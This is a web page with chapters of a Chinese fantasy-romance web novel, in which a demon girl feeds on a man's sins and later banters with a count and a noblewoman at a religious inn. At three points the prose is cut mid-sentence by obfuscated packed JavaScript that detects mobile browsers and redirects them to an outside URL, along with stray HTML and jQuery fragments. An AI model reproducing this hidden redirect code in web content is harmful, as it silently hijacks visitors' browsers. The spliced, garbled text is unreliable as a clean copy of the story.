“人往高处走,水往低处流,你以为你是大公爵的女儿就很了不起吗。拜托!现在时代早就变了,大公爵没有实权,权力都是议会说了算,由我们伟大的皇室,和我们高尚的吉威尔首相共同决策,你以为你是什么东西?居然也配和瓦妮莎公主相提并论。” 他面目狰狞,就越像是无能狂怒,狗急了跳墙的小丑。 贵族小姐憋不住笑得很大声,她的声音很细长,绵绵密密,就像是一口咬下去夹心的酒心巧克力,甜而不腻,连寂静的夜晚都因为她的笑而变得美味起来。 楼下吵得让人睡不着觉,巷子左边房屋楼上的女主人原本正要泼洗脚水,可当她听到这个笑声,一时之间,她都不知道自己该选择泼还是不泼,最终他眼皮一垂,默默退回了自己的领地。 两侧的房屋窗户正对着,灯具明明灭灭,有谁正在低语,细碎的谈论声传入莉莉贝特耳中。 “让她吵吧,她是大公爵的独女,我们惹不起。” “这都是这个月第多少回了,她到底在圣烛旅馆养了多少情郎!吃得消吗?” “哼,你是嫉妒了吧,谁让人家有钱呢,爱养多少就养多少。” “你少胡说八道!谁会嫉妒一个风流成性的女人!” 楼上的一男一女说着说着吵起来了,莉莉贝特听了个大概,大约就是男的觉得女人应该洁身自好,而女的觉得只要自己有本事,一个愿打一个愿挨,谁也管不着。 因为信仰的存在,人间比地狱要保守一些,但比过于矫枉过正的天堂要好得多。 人类会有私欲,会有渴望,即使是神明也不能约束他们的贪婪。 这也就给了莉莉贝特,最香甜可口的“肉”。 她化作一团黑雾,悄无声息的嵌入二人所在巷子的墙壁中。穿过一呼一吸的距离,她就能触及那个叫比阿特丽斯的贵族女孩。 但莉莉贝特的目标不在她身上,她看着不怎么好吃,虽然也有自己的私欲,但如果跟她对面的那一位比,她的私欲只能够称得上是小儿过家家。 只见她听了丹尼斯的话之后哈哈大笑,嘴角弯弯,原本似笑非笑的笑意彻底被真正的欢愉所替代。 她看起来笑点很低,笑了那么久,莉莉贝特愣是一点都没有想明白好笑的点在哪里。 好在她立马解释了,尽管并不是为莉莉贝特解释的。 她听见她憋笑着说,“原来,你不知道她有康普莱克斯癖啊。” 轻飘飘一句话,把丹尼斯惊住了,连要立马反驳都忘了。 过了两秒,他才意识到什么,开始帮着瓦妮莎说话。 “污蔑公主可是重罪,比阿特丽斯,你信不信我……” 贵族小姐笑得更欢了。 “别别别,你还是听我说完吧。反正你上了她的贼船是跑不掉的,只有被扔下船喂鲨鱼唯一的可能性。” 只有莉莉贝特头皮发麻,她不懂什么是康普莱克斯癖,隐约觉得可能不是什么好东西,又无关紧要。此时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525333|203463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此刻,她更希望那个男的快点落单,让她饱餐一顿。 “吸溜…”她一边吃瓜,一边咽了咽口水。 比阿特丽斯还不知道自己的笑被人嫌弃了,她用看蝼蚁一般的眼神盯着丹尼斯,手里的扇子扇了又扇,像是下一秒就要对人做出最终审判。 今夜,她也的的确确是个判官,干的是判官的活,伤的是某人的心。 她说了那么简单的一句话之后就笑了很久,仿佛听到了什么天大的笑话,置身其中无法自拔。 她解释道,“我们亲爱的瓦妮莎公主,她呀,就是喜欢别人用过的东西。”她意有所指,视线也时不时往丹尼斯身上飘去,丹尼斯脸色一白,她像得逞了,继续说。 “你还不知道吧,你马上就要被她甩掉了。你连她的习惯都没摸清,居然妄想着成为公主的唯一,我看你是要笑死我。你在我身边越是得宠,她这越是表现出一副非你不可的样子,但我若是哪天不要你了,那咱们走着瞧,看看她还要不要你。” 她说话的语速很慢,咬字清晰,看得出她的确是一位高雅的贵族,从小对这些宫廷礼仪耳濡目染。 可她用这样的语速,嘴里吐出来的信息居然那么炸裂。 莉莉贝特起初不明白康普莱克斯癖是什么,现在她这么一解释,莉莉贝特全明白了,这不就是恋偶癖吗?喜欢别人的“妻子”“丈夫”“情人”……没想到这个世上,真的有人会这么做,她也是长见识了。 不过也好,她看见那个男孩的脸色白了又紫了,气得双肩都在抖,一点儿杰诺尔的忍耐力都没有。 相信用不了多久,她就能得手,就能吃到美味的“肉”。 “你少血口喷人,公主才不可能是这样的人,她说过像我这么好的条件,就算不能成为她的正夫,那成为她的侍从也是绝对没有问题的,她不可能抛弃我。” 直到说完最后一句话,他的脸色已经白到近乎透明,整个人都像是苍老了十岁,靠着墙壁,身子慢慢滑落,直至完全做到地上。 “你还在这做你的春秋大梦呢?你知道为什么你会输给小巴迪吗?” “为什么!”丹尼斯的指甲掐进房间墙壁的石头缝里,一层一层的青苔顺着他的指甲染黄了皮肤。 “因为他善,他知足,自从跟了我,他就算是去楼下喂条狗都得跟我报备,不像你,花着我的钱,跑去抢着请公主吃饭,要脸不要脸啊!” 真会骂,莉莉贝特由衷的欣赏她,要是不耽误她吃肉就更好了。 魔族要吃的“肉”,是人类或者其他生物的“七宗罪”,这东西只有在晚上才美味,等到了白天,再甜的果实也会变得酸涩,难以入口。 “你别跟我说话,我现在看见你都觉得恶心,从明天开始给我滚出圣烛旅馆,我不会再给你续房费,有本事,你就去找你的瓦妮莎·汉诺威公主给你出钱。” 她再也懒得废话,气势汹汹,扭头就走。 “不……”丹尼斯瞬间慌了,伸手抓她,结果反手被一耳光,响亮的声音在整片夜空回旋。 “我不说第二遍。” 少女作势杨起手又要打他,他害怕的躲到角落,完全没了刚刚气势汹汹的模样。 “你最好不要死缠烂打,除非你想在整片欧洲都待不下去。” 她再也没了耐心,扬长而去。 她走后,那个男孩再也站不住,双脚一软,身体沿着墙壁慢慢滑落。 在他身后,黑雾与硫磺混杂沸腾,形成一个不见底的黑洞,他正伤心欲绝,完全没注意到身后的洞里,一双惨白的手从中伸了出来。 “不…不……” 他闭上眼睛之前,最后印刻在眼眶里的,是莉莉贝特那张张扬诡谲的脸。 11. 超级男模 “嗝……” 夜幕中昏暗的草丛中,莉莉贝特吃饱喝好,困意袭来,她打了个哈欠,脚朝天,想着要不躺在这儿睡一觉。 她摸了摸圆滚滚的肚子,嘴角挂着餍足的微笑。 吃得好饱。 自从来了人间,她还从未有一日像今天这样饱餐一顿。 下面的大恶魔都说人间有美味,可自从她来了,每天吃到的不是法棍就是干噎面包,见识过的最有滋味的东西还是杰诺尔买的那个蒜香面包。 说起那个面包,她现在都有心理阴影,只要一想起,全身就密密麻麻的泛起鸡皮疙瘩。 夜风有点凉,她一个激灵,困意散了几分,但架不住肚子吃撑了犯懒,躺着就不想起来了,尽管这是在外面。 还是人类的“七宗罪”好吃。 在她脚边,那个被她吃干抹净的“软饭男孩”躺在地上一动不动,看着像是死了。 等到了明天太阳升起的时候他会再次醒来,忘记今晚的事情,忘记他拼尽全力,摇尾乞怜所追求的贪念,回归最初。 他会性情大变,变得暴戾,冷漠,残忍,喜怒无常。会喜欢独处阴暗角落,惧怕阳光,避开光亮,讨厌教堂、十字架、香火、圣物。或者无故癫狂大笑,低声怪笑,毫无缘由落泪,嘶吼,自言自语。 他会忘记那个叫比阿特丽斯的少女,变得像疯子一样,连自己是谁都不知道。 次日天光熹微,马路边的绿化带里,伯劳正在享受它的新烤串。这些可爱的小精灵是莉莉贝特最喜欢的鸟,它们还有另外一个名字,叫做“屠夫”,它们最擅长的事,就是将猎物串在锋利的树枝上,做成像人类吃的烤串一样的东西。 许多猎物在被锋利的刺穿透身体时还活蹦乱跳着,但屠夫最不缺的就是耐心,它会一直守在猎物身旁,直到猎物停止挣扎,它们再舒舒服服享受美餐。 莉莉贝特睡饱伸懒腰时,躺在巷子里的那个男孩已经不见了,她隐约知道对方是什么时候走的,那会儿还没天亮,有个大胡子早起在草丛周围方便,一泡尿把那人嗞醒了。 莉莉贝特回旅馆睡了,透过打开的玻璃窗,她隐隐约约听到了些许动静,但没起来看。 等她醒来时已经是晌午,叫她起床的敲门声已经响了三次,每次来的人都不一样,第一次是玛丽,第二次是黛安娜,第三次是语气无奈的杰诺尔。 因为曾为陛下管理过时空之门,所以她的作息也随着某个时空人类的生活习惯而改变了,一时之间改不过来,用那里的话来说就是“晚上不睡,白天不起”。 “莉莉贝特小姐,现在的时间是正午十二点,你还不起床就要错过午饭了。” 杰诺尔在门口低声细语地说着,一点都不像是真心要喊她起床的样子,莉莉贝特估摸着他肯定巴不得自己饿肚子。 好在,上一波来喊她的老板娘敲门声音足够叫醒她,当杰诺尔来找她的时候,她已经换上了一身漂亮的绿色日间连衣裙,点缀璀璨如花的粉宝石,头戴蕾丝礼帽,整装待发,只欠东风。 她穿得像个完美无瑕的贵族小姐,高雅,神圣。 她推开门,门外的杰诺尔穿着简单的衬衫和马裤,红发盘起,挺立如松,即使看着是最普通和廉价的衣服在他身上也穿出了卓尔不凡的气质。 杰诺尔还在敲门的手停在了半空,大概是她今日的穿着确实赏心悦目,她看见他在看清自己之后眼睛亮了一下。 “咳咳…莉莉贝特小姐,今天很漂亮。” 他脸颊红了红,居然看起来有些纯情,眼尾也红红的,看得莉莉贝特别扭死了。 “这话我不爱听,难道我昨天就不漂亮吗?” 她撅撅嘴,装作不满。不知道为什么,她觉得今天的杰诺尔尤其会装。明明前不久他们两个刚刚发生了那件事,但今天他就像什么都没有发生过一样,居然还能壮着胆子来喊她起床。 她很好奇他会怎么回答,心里祈祷他可别像个油腻男那样情话张口就来,不然她会忍不住把他从窗户扔出去。 不过,她担心的事并没有发生。 杰诺尔最擅长见风使舵,见人说人话见鬼说鬼话,她这点小把戏,又怎么可能难得到这位城府颇深的狐狸伯爵。 他笑了笑,弯腰鞠躬,每一个动作都恰到好处,让人挑不出毛病。 “你误会了。我的意思是,昨日的你与今日的你,从来都一样动人绝色。 昨日的你,恰似一幅温润恬淡的水彩画卷,清雅温婉,内敛而不张扬。而今日的你,是一帧浓墨重彩的油画,明艳夺目,张扬却不俗艳。但无论是哪天的你,莉莉贝特小姐,你在我心目中,永远无人可及。” 他的情话恰到好处,那双眼睛也始终注视着莉莉贝特,带着几分调情与撩拨。但她能感觉到,他眼里的关注点并不在自己身上。 莉莉贝特要拆他的台。 “伯爵不会以为你这两三句好话就能收买我吧?在我们家乡,一个男人若是只会耍嘴皮子而没有半点行动,是会被我们在茶前饭后把他拿出来反复吐槽的,在交际圈里频繁拿出来鞭尸的。” “那你想要哪种表示?” 她想了想,联想到昨天晚上,嘴角勾了勾说:“比如当一天我的男模?” “可以。” 他答应得很干脆,甚至语速还藏着几分急切。 莉莉贝特暗叫不好,自己不会阴差阳错掉进杰诺尔的坑里了吧。 她正要后悔,结果又听见杰诺尔说。 “从现在开始,我就是你的男模了,你可要好好怜惜我这朵娇花哦,莉莉贝特小姐…” 莉莉贝特悔不当初,咬牙切齿。 走廊人来人往,和晚上不同,这里的白天似乎很热闹,来往的多是些长相精致的年轻少男少女。他们个个都穿着珠光闪闪的丝绸上衣,配上畏首畏尾的神情,俨然一身的暴发户气质。 应该和丹尼斯一样,都是被人包养在这里的。 她想跟杰诺尔理论理论,结果这狗男人故意跺了跺脚,吸引所有人注意力后,他张口就来,迅速入戏。 “我的莉莉贝特小姐,上次你送给我的那枚蓝宝石胸针可是让我在派对上大放异彩,不知今日,你又会带给我什么样的惊喜呢?” “鸽子蛋要不要!” 莉莉贝特亮了亮白得发光的拳头。 “要,当然要,两百克拉的宝石可是你对我深沉的爱,我一定虔诚的珍藏好,专心致志,只爱你的钱。” 臭不要脸! 好几双眼睛朝着这里射过来,有的惊讶,有的嫉妒,还有的嗤之以鼻…… 杰诺尔是他们之中最穷酸的一个,但胜在气质最好。尤其是那红马尾一绑,他整个人就好像源源不断地散发着一种无法形容的温柔气场,很能激起别人的保护欲。 说句不好听的,莉莉贝特觉得此时的他比头牌男模更适合当男模。 明明之前也不是这个样子,今天故意摆出这副样子,是要装给谁看呢?而且,带有宗教性质的圣烛旅馆,教廷修女卡珊德拉…当这些巧合全部聚集在一起时,她已经不得不怀疑捷诺尔的动机了。 他在利用自己陪他演戏,可恶,又着了他的道。 既然如此,她可要为难人了。 恶魔小姐坏笑。 她配合他精心出演,两人打的有来有回,宛如两只困在笼中抢夺食物的饿狼。 她勾住了杰诺尔的脖子,温柔的,轻轻的,又不容拒绝地将他拉近,另一只手环住他的腰,强迫他为自己低头。 杰诺尔的绿眸闪过一丝不易察觉的无奈,但也没推开她,手臂稳稳扶住了她的腰,将她往自己怀里带了带。 “莉莉贝特小姐?你这是……” 两人湿热的呼吸打在对方鼻头,痒痒的,带着一股淡淡的草药香,不难闻。 莉莉贝特故意轻轻地吐了一口气,贴近他的耳垂,在别人看来他们俩就是在调情。 “都收了我那么多鸽子蛋了,还当贞洁烈男呢,你.都被我睡了那么多次了,装什么?” 她最会学以致用了,看见杰诺尔被她说得愣了又楞,她心里暗爽。 杰诺尔脸色别提有多精彩,估计还在反思究竟是谁把莉莉贝特带坏了,学着说这些油腻男发言。 他哑火了,莉莉贝特乘胜追击。 “你告诉我,我和你的白月光卡珊德拉,谁在你心目中更漂亮。” “额……” 他脸色一变,果然没答得出来。 她不怀好意地笑了。 “我还真是失败呢,我的情人,心里想的居然是别人,还把我当替身。” 她捂着胸口,装出一副十分痛心疾首的样子,还把声音说得很大,吸引走廊里那些目光。 周围看戏的人越来越多,他们不敢光明正大的凑过来,要么躲在拐角处,要么反反复复在他们身后走来走去,他们现在像猴一样被人围观。 “你怎么不说话了?是没话说了吗?承认了?” 她煽风点火,周围开始窃窃私语,有人说话声音渐大,对着杰诺尔指指点点。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525334|203463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他充耳不闻,身体前倾,顺着莉莉贝特的挑拨把她按在墙上。 他声音不比她小,尾音婉转。 “是我的错,都怪我心有所属,但你放心,虽然我的心属于别人,但我的身子一定属于你,我的女士。” 地地道道的渣男言论,在场的听众啧声不断。 “呵……” 他话音刚落,她正要反驳,规律的高跟鞋砸地声先人一步在走廊尽头响起。 “让我瞧瞧这里发生了什么?” 脚步声咚咚咚,暗藏着一丝规律的急切,又刻意放缓,声音很熟悉,好像是比阿特丽斯。 杰诺尔的嘴角扬了扬,像是一只偷腥的小老鼠历经千辛万苦终于偷到了它梦寐以求的奶酪,再也掩饰不住他的得意。 一切都说得通了,杰诺尔,狗男人,他的目标是比阿特丽斯。 怪不得突然同意当她的男模!隔这儿钓鱼呢! 她恶狠狠地踩了他一脚,对方倒吸一口冷气,但纹丝不动。 装!真会装! 比阿特丽斯今天穿着改良版的红色巴斯尔裙,她一走来,最先映入眼帘的是她那一双红得像血的高跟鞋。 “你……你……” 她在距离两人半米处停下,正要开口时杰诺尔抬头了,嘴角一弯。 她呆住了,话还没说出口紧急收回,咽了咽口水。 眼前的美男子红发灿烂,笑如春风,她平素最爱美男,哪里舍得跟他大声说话了。 比阿特丽斯赤裸裸的目光带着审视,看了又看,脸上的表情就像歌剧一样精彩,一会儿愤怒,一会儿纠结,一会儿烦躁,最终妥协… 算了,只要长得好,也没什么不能接受的。 可是…这个美男,好像也不是她的。 尴尬了,本来奔着替漂亮小姐出头的目的来的,自己怎么就看上了人家养的男模。 比阿特丽斯,快收收你的花心! 她的眼珠子转的飞快。 莉莉贝特是不知道她心里的纠结,她猜测对方大概率是不认识杰诺尔,只把他当作了一个出来卖的男模,就像外面那些一样。 整个伦敦,除了某些上流贵族,应该很少有人认识杰诺尔。 几番僵持后,比阿特丽斯像下定了某种决心。 她一把将莉莉贝特拉到了自己这边,将人藏在身后,昂首挺胸,像极了一个为人出头的大姐大。 杰诺尔怀里空了,索性转过身来背对着墙壁,慵懒的椅在上面。 他双臂环于胸前,身形微微后倚,神色懒淡,眼底漫着几分漫不经心的漠然。 那姿态,估计全天下的男模没有谁比他更嚣张了。 比阿特丽斯在他身上来回扫视,最终用左手拍了拍莉莉贝特的肩膀。 “我原本想劝你说这个世界上的男模千千万,何必执着于一个不爱自己的…”她挠了挠头,用只有两人听的清的声音说,“但我现在改变看法了,你这男模身材不错,脸也不错,比我见过的所有优质情人都要特别,他像个超级男模,很适合养来玩玩,有白月光…也不是不能接受,反正是图他身子。” 来都来了,在美男与美女之间,她选择了劝和。 “我也是这么觉得的。” 她笑眯眯地顺着比阿特丽斯往下说,时不时观察杰诺尔的表情。 他一副任人宰割的态度,像一头不怕开水烫的死猪,还摊摊手。 倒是比阿特丽斯认真的可怕,贴着莉莉贝特的耳畔给她传授经验。 “好看的皮囊千篇一律,但气质像他这么特别的还是少数,反正又不结婚,玩了也就玩了,咱们只需要他的身子。体力好活好身体好,就行了。” “我也这么觉得。”她强忍着笑意。 “这三样以后但凡有一样不占,咱就不要他了,卖到男色沼泽还能回回本,姐们给你当中间人,送出去骗骗别人。” “那我先谢谢你了,美丽的小姐。” 莉莉贝特嘴角抽搐,她快憋到极限了,想笑又不能笑,憋的难受。 比阿特丽斯没意识到他们在演戏,故意装作不满轻轻撞了一下莉莉贝特的肩膀。 “叫我小姐多见外呀,我叫比阿特丽斯·莫里森。” 她还怪礼貌的。 “咳咳,我是莉莉贝特。” 她咳嗽两声压住笑意,转头瞧见比阿特丽斯露出纠结的神情。 “不过…”她揣着下巴在认真思考,半晌后认真问莉莉贝特,“你这男模,有八块腹肌吗?” 12. 男模该做的事 “ “噗嗤…比阿特丽斯你看他像有八块腹肌的样子吗?” 走廊上的人流逐渐散了,莉莉贝特与比阿特丽斯却还没分开。 “好像,确实不像。” 听莉莉贝特这么说,比阿特丽斯眼底的期盼淡了淡,也不再把目光一直停在杰诺尔身上来回看。 显然她喜欢的是八块腹肌的美男,在床上又美又狠的那种,而不是一个空有其表的花瓶。 杰诺尔此时还不知道自己已经被定义成了“不行”,二人窃窃私语,他依旧保持着那副双手抱臂的姿势,眼底晦暗不明,余光时不时落在比阿特丽斯身上发呆,像是在酝酿阴谋。 “虽然没有八块腹肌,但身材还是不错的,该有肉的地方都有。” “是啊,摸起来还软乎乎的,很有弹性。” 莉莉贝特想起小猫那处Q弹的触感,不怀好意地笑了。 “你都摸过了?是肚肚肉还是胳膊?他活怎么样?” 比阿特丽斯满脸好奇,她估计死也猜不出来莉莉贝特摸的是小猫铃铛。 两人聊的频道根本不是同一个,但她们俩一见如故,尬聊也聊得很高兴,这大概就是缘分。 “挺好…”莉莉贝特捂嘴笑,时不时目光打在杰诺尔身上,带着审视与嫌弃。 “真的?”比阿特丽斯将信将疑。 “真的…”她哈哈大笑,一看就不是真的。 笑声把杰诺尔的注意力吸引了回来,他看见比阿特丽斯用同情的目光盯着自己,莉莉贝特笑得人仰马翻。他一头雾水,抓了抓头皮。 “你们在笑什么?” “夸你呢。” “夸我?我不信。” 他一副将莉莉贝特看穿了的表情。 “莉莉贝特小姐,你又在编排我对不对?” “怎么会,我像是这种人吗?” 她将白色的长发一撩,发丝辉光煜煜,无甚美好。 可惜是个切开黑的。 她戳了戳比阿特丽斯,暗示对方帮她说两句。 对方笑眯眯点头会意,咳嗽两声,立马切换状态,一本正经帮腔作势地吐了句:“大女人说话,小男人别插嘴。” “噗……” 莉莉贝特喷了,她庆幸自己还好没有在喝水。 比阿特丽斯被她的反应吓到,歪头露出疑惑的表情。 到底是谁教比阿特丽斯这些的,原来“贞洁烈男”并不是比阿特丽斯的上限,而是她的基操。 莉莉贝特摆了摆手,示意自己没事,示意她继续。 她瞬间了然,虽然莉莉贝特也不知道她到底明白了什么东西,只见她得意地撞了撞她的胳膊,昂着头,小表情俏皮又可爱,继续说:“男模,就是出来卖的,你要注意自己是什么身份。” 明明是油腻到不行的话,可从她嘴里说出来,却显得那么可爱。 “莉莉贝特,你说是不是。” 她转头问她,一脸“你看姐帮你出头”的架势。 “是是是…” 莉莉贝特汗颜。 这小姑娘到底是谁教她的。 见她点头,比阿特丽斯更起劲了。 “你也别不满,反正你的主子我们就这样,你受得了就忍,要实在忍不了,就把我们换了,看下一个谁包养你。” 她叉着腰,嘟着小嘴,又萌又凶,指着杰诺尔。 “你最好别无理取闹,乖乖听话,你一个总是发挥失常的男模本就竞争不过人家,你要是听话,没准莉莉贝特还会因为你的皮囊而继续养着你。” 杰诺尔哑口无言,莉莉贝特心虚的低下头。 他也没反驳,只是轻笑一声,眼底蕴藏着笑意,饶有趣味的注视着她,像是在等待着一出好戏。 这话,莉莉贝特也没法接。 恰逢此时午时的钟声响起,教堂的圣餐时间到了,她才松了一口气,如释重负。 “咕噜…”谁的肚子发出了一声抗议。 比阿特丽斯瞬间羞红了脸。 “我们去吃饭吧。” 说完,她先一路小跑着离开了,只留下面面相觑的莉莉贝特和杰诺尔。 “莉莉贝特小姐,看来你今天心情不错,没有被我昨天的蒜香面包影响到。” 他冷着脸,看着像是真的有点生气,让莉莉贝特瞬间不知道该怎么办了,她原以为杰诺尔是开得起玩笑的。 说起昨天的蒜香面包,她现在想了想,当时也确实不该对着杰诺尔发脾气。她是恶魔,恶魔天性就是讨厌大蒜,但杰诺尔不一定知道这些。 他大晚上的出去买食物,口袋里也就几个金币,买回来的出发点肯定是好的,估计也没想到她反应会那么大。 明明口袋里就几个金币,还花钱单独为她开了一个房间…这个男人好像也没有那么讨厌。 一时之间,她突然觉得有点愧疚,有些对不起杰诺尔,自己今天还故意在别人面前编排了他。杰诺尔的目光回瞪,她恨不得找个地缝钻进去,恶魔本不该有这个该死的羞耻心,可现在她有一种说人坏话被抓包的窘迫。 “我们也去吃饭吧…” 她尝试转移话题。 “嗯。” 对方冷冷回应。 二人慢悠悠的追随着比阿特丽斯走过的方向寻去,摸着墙壁一路走到楼梯间,扶着扶梯准备向下。 圣烛旅馆提供一日三餐,但并不是什么时间都会提供,而是根据教堂大钟响起的时间准时开放,早了晚了都没有。 此地周围多是难民居住,食材的卫生条件没有保障,还不如留在老板娘这里吃个痛快。 杰诺尔走在前面,莉莉贝特小心翼翼的跟着他。 一路上,她一直在解释。 “那个…我们没有说你坏话。” “嗯。” “绝对没有说你不行的意思。” “嗯…” 可她感觉自己好像越解释越苍白,而杰诺尔,依旧摆着那副“你说我在听”然后又没点反应的样子。 “能不能给点反应?” 她佯装生气,眼睛都眯成一条缝,目光凌厉,握紧拳头假装要去揍他。 杰诺尔两手一摊,肩膀一抖,头也没回满不在乎的问。 “莉莉贝特小姐想听什么?” 莉莉贝特上前一个箭步,挡在了他的面前。她最讨厌误会,有什么话若是不能当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527757|203463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场说清楚,她就会一直感到折磨。 “杰诺尔,我承认了。” 她脸颊烧成熟透的苹果,不敢抬头。 “承认什么?” 对方像是不肯轻易放过她,又继续追问。 “承认说你的坏话,还故意让比阿特丽斯误会你,是我不对。” 他冷冰冰地笑了笑。 “那你应该跟我说什么,莉莉贝特小姐。” “对不起!” 她也没有推卸责任,九十度深鞠躬,向杰诺尔做出了她最大的让步。 走廊里静悄悄的,黛安娜的小饭堂在负一楼地下室,这个时候,想要吃饭的基本上都已经做到了餐桌上,只有他们两个姗姗来迟的,还卡在道路中间。 半晌无人回答,莉莉贝特心里更没底了。 可她也不敢抬头,悄悄的在手里恰了一个魔法,变出一面透亮的镜子,只需要微微转动方向,她就能从镜子的倒影里看见杰诺尔的反应。 那个家伙果然收不住嘴角,他没有笑出声,但镜子里他偷笑的表情已经把它全部出卖了。 他摆出一副吊儿郎当的模样,故意对莉莉贝特说:“我好像也没说你们说我坏话吧,莉莉贝特小姐。” 一股热浪直冲她的天灵盖。 莉莉贝特生气了!她终于反应过来,她又一次被杰诺尔耍了。 “哈哈哈…瞧把你认真的,就算你真说了,一位绅士又怎么会和一位美丽的小姐计较呢。” 他笑到捂住了肚子,蹲在地上,完全停不下来。 果然心疼男人倒大霉! 莉莉贝特恼羞成怒,她在手里掐了一个黑魔法,一团黑色的火焰随之燃烧。 她要用这团黑色火焰烧掉杰诺尔的衣服,让他光着腚去食堂吃饭,让他丢人现眼。 她将魔焰扔了出去,眼看着火焰就要攀上杰诺尔的衣服,就在这时,走廊上那一幅端正坐着的大天使长画像骤然亮起,画像中的红发天使睁开了眼睛,一道暖白色的光朝着莉莉贝特直冲而来,洒下圣水,瞬间就将她手掌的魔焰给熄灭了。 圣光擦着她的头顶飞过,如同一只天穹的顶级捕猎者俯冲而下,越是挣扎,猎手越是兴奋。她一动不动,一抹白发从她的头顶滑落,就落在她眼皮子底下的地板上,空气中透着一股淡淡的毛发焦灼味。 她怎么就忘了自己现在身处一家宗教性质的旅馆,这里到处都是神明的眼线这件事。 好险,刚刚但凡她挣扎一下,那道圣光就已经穿透了她的胸膛,把她提前送回地狱了。 她惊魂未定,拍着心脏喘了好几口粗气。 杰诺尔也严肃了起来,他伸手扶住了莉莉贝特被吓到腿软的身体,“小心…”牵着她,目光不停地在她身上扫视,从头到脚,检查她的伤势。 “我没受伤…” 没受伤,但是很心疼她脚边的那撮头发。 她一个借尸还魂的恶魔,身体皮肤头发,每一处都是别人的,尤其是头发,按照正常的逻辑,尸体是不能够进行新陈代谢的,那么…也就是说她消失的头发不会再回来。 好扎心… 她忽然有点委屈,哇的一声哭出来了。 13. 鸭子禁止对食 两人来到餐厅时,比阿特丽斯已经吃上了,她嘴里叼着一根意大利面,看见莉莉贝特连忙招手。 这里就数她地位最高,她坐在餐桌主位上,但半点贵族小姐的礼仪都没,嘴里含着好大一口意大利面,说话呜呜咽咽。 “莉莉贝特!这里…” 餐厅人不多,即使有人,他们也都离比阿特丽斯离得远远的,像是生怕跟她沾上关系。 她被所有人隔离,那些目光打在她身上,有的畏惧,有的倾慕,还有的生怕惹祸上身。 看来比阿特丽斯背后的势力,正被这些人背后的金主忌惮着。 除了她之外,与她隔角相望的一个角落里,另一个男孩也同样得到了这种待遇。他坐在座位的最尾端,象征着他的地位在这些人中是最低的,但他并未因此而感到畏畏缩缩,反而很自信。 他面目清秀,一头栗色的短发看起来干净又清爽,看着瘦瘦弱弱,但目光却炯炯有神,还时不时在偷看比阿特丽斯。 当莉莉贝特在她身旁整理裙子坐下时,他用好奇的目光打量着她,眼神充满了疑惑。 莉莉贝特视线投向他时,他友好的回以了一个真挚的微笑。 两人之间的互动比阿特丽斯并未发现,她把嘴里的意大利面咽下,莉莉贝特刚好挡住了她的视线。 莉莉贝特一坐下,她嘴里的意大利面瞬间就不香了。 远远站着的时候她还没看清,现在走近一看,她怎么瞧着莉莉贝特的头顶毛毛躁躁的,明明是那么好看的白发,就像是被鸡啄过一样,发丝横七竖八的凌乱着,没有一点秩序可言。 她放下叉子,用一旁的帕子擦了把嘴,然后盯着她目不转睛,看了又看,用夸张的语气说。 “莉莉贝特,你的头发怎么像个鸡窝?” “别提了,糟心!” 莉莉贝特拿起叉子叉了一块肉排,味同嚼蜡地吃了一口,这事她越想越郁闷,以至于盘子里的美味佳肴都没了一点食欲。 “我不想说…” 其实不是不想说,而是不知道怎么解释,她总不能说自己的头发是伟大的大天使长米迦勒殿下,用圣光烧的吧。 这说出来,还不得被人当做教廷的走狗。 “好吧,你不想说就不说。” 比阿特丽斯重新拿起叉子,笔直的插进盘子里,又卷了卷,直到将意大利面卷成空心粉的形状,然后就着旁边的白兰地一口闷。 而他们的对面,杰诺尔则顺水推舟地坐到了那个男孩身边,动作自然。 黛安娜为他端了一盘食物,看见他坐在餐桌末尾本想开口提醒,但得到了他的眼神暗示,笑了笑什么都没说。 他举止优雅的拿起餐刀,在肉排上画了一个简单的十字,然后用刀子插起其中一块,喂进嘴里细嚼慢咽。 “你是谁?这里可不是贵族应该坐的位置,你应该坐在餐桌前面。” 男孩对他的行为很不解,眉头一皱,眼神中闪过一次痛苦,抿了抿唇提醒道。 “坐在这个位置就意味着你来自贫民窟甚至是更差的地方,是要被所有人孤立的,没有人会与一个对他们没有任何帮助的底层人来往。甚至为了满足他们的某些癖好,他们还会对你恶语相向。” 他自认为自己是好心提醒,然而捷诺尔却丝毫不领情,往嘴里灌了几块肉,一边嚼着一边说,“我知道,没事,我就坐在这里。” 听他这么说,男孩觉得自己是好心为了驴肝肺,哼了一声,将头一偏,不再说什么。 另一边,莉莉贝特与比阿特丽斯有说有笑,她们在本该严肃的餐桌上不知道在说着什么,两人的笑声在整个房间里都能听得见。 只要她们自己不尴尬,尴尬的就是别人,餐桌上的其他人陆陆续续离开,生怕自己走的慢了会发生什么可怕的事情。 